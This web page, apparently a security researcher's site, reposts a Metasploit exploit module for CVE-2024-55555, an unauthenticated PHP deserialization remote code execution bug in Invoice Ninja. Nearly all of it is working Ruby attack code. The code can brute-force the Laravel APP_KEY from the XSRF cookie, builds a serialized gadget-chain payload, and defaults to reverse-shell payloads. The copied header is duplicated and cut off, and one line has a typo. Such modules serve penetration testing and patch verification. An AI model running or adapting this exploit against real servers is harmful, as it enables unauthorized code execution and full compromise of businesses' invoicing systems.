Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::LaravelCryptoKiller
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Invoice Ninja unauthenticated PHP Deserialization Vulnerability',
'Description' => %q{
Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.
A Remote Code Execution vulnerability in Invoice Ninja (>= 5.8.22 <= 5.10.10) allows remote unauthenticated
attackers to conduct PHP deserialization attacks via endpoint `/route/<hash>` which accepts a Laravel
ciphered value which is unsafe unserialized, if an attacker has access to the APP_KEY.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
to sensitive information.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'R?mi Matasse', # SynActiv Research Team - discovery of the vulnerability
'Micka?l Benassouli' # SynActiv Research Team - discovery of the vulnerability
],
'References' => [
['CVE', '2024-55555'],
['URL', 'https://attackerkb.com/topics/xxxxx/cve-2024-55555'],
['URL', 'https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known']
],
'DisclosureDate' => '2024-12-13',
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The invoiceninja endpoint URL.', '/' ]),
OptString.new('APP_KEY', [ true, 'Laravel APP_KEY.', 'base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=']),
OptPath.new('BRUTEFORCE', [false, 'File with a list of APP_KEYs, one per line for a bruteforce attack.', nil])
])
end

def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'route', cmd.to_s),
'ctype' => 'application/x-www-form-urlencoded'
})
end

def check
print_status("Checking if #{peer} can be exploited.")
res = send_request_cgi!({
'method' => 'GET',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'login')
})
return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200

# check if target is running the Invoice Ninja platform
# search for the Invoice Ninja X-APP-VERSION within the returned headers from the login page
version_number = res.headers['X-APP-VERSION']
return CheckCode::Safe('No Invoice Ninja platform found.') if version_number.nil?

if Rex::Version.new(version_number).between?(Rex::Version.new('5.8.22'), Rex::Version.new('5.10.10'))
return CheckCode::Appears("Invoice Ninja #{version_number}")
end

checkCode::Safe("Invoice Ninja #{version_number}")
end

def exploit
# lets first check if decryption is successful with the APP_KEY by decrypting the XSRF_TOKEN inside the cookie.
# option APP_KEY is either a single entry of a file with APP_KEYS using the [file:] identifier
cipher_mode = 'AES-256-CBC'
res = send_request_cgi!({
'method' => 'GET',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'login')
})
fail_with(Failure::Unknown, 'No valid response received from target.') unless res&.code == 200

print_status('Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.')
print_status('Grabbing the cookie with the XSRF-TOKEN.')
set_cookie = res.get_cookies
fail_with(Failure::NotFound, 'No cookie found.') if set_cookie.nil?
xsrf_token = set_cookie.match(/XSRF-TOKEN=([^;]+)/)
fail_with(Failure::NotFound, 'No XSRF-TOKEN found. Unable to check APP_KEY.') if xsrf_token.nil?

if datastore['BRUTEFORCE']
key_file = datastore['BRUTEFORCE']
print_status("Starting bruteforce decryption with APP_KEYS listed in #{key_file}.")
result = laravel_bruteforce_from_file(xsrf_token[1], key_file, cipher_mode)
fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") if result.nil?
valid_app_key = result['key']
unciphered_value = result['value']
else
result = laravel_decrypt(xsrf_token[1], datastore['APP_KEY'], cipher_mode)
fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") if result.nil?
valid_app_key = datastore['APP_KEY']
unciphered_value = result
end
print_good("APP_KEY is valid: #{valid_app_key}")
print_good("Unciphered value: #{unciphered_value}")

print_status('Generate an encrypted serialization payload with our cracked APP_KEY.')
pl = payload.encoded
pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php
pl_len = pl.length
laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})
b64_laravel_payload = Base64.strict_encode64(laravel_payload)
laravel_cipher = laravel_encrypt(b64_laravel_payload, valid_app_key, cipher_mode)
fail_with(Failure::BadConfig, 'Laravel encryption failed.') if laravel_cipher.nil?

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(laravel_cipher)
end
end
Social Media Share